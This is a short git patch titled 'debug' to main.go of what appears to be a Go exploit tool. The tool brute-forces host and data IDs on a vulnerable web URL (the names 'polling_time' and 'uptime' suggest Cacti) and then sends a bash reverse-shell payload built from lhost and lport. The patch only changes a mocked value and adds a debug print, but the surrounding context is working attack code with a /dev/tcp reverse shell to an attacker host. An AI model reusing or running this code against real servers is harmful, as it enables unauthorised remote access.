From 3e0bd05024f80ddc3d434dbcdaf4b41968b41e9f Mon Sep 17 00:00:00 2001 From: Vomitblood Date: Fri, 24 Jan 2025 10:26:40 +0800 Subject: [PATCH] debug --- main.go | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/main.go b/main.go index 10bb610..313c926 100644 --- a/main.go +++ b/main.go @@ -101,9 +101,9 @@ func bruteForcing(vulnURL string) (bool, int, int) { } if buf.String() != "[]" { - rrdName := "mocked_value" + rrdName := "asdf" if rrdName == "polling_time" || rrdName == "uptime" { - fmt.Println("Bruteforce Success!!") + fmt.Println("Bruteforce Success") return true, n, n2 } } @@ -144,6 +144,8 @@ func main() { fmt.Println("Bruteforcing the host_id and local_data_ids") isVuln, hostID, dataIDs := bruteForcing(vulnURL) + fmt.Println(isVuln, hostID, dataIDs) + if isVuln { payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport) reverseShell(payload, vulnURL, hostID, dataIDs)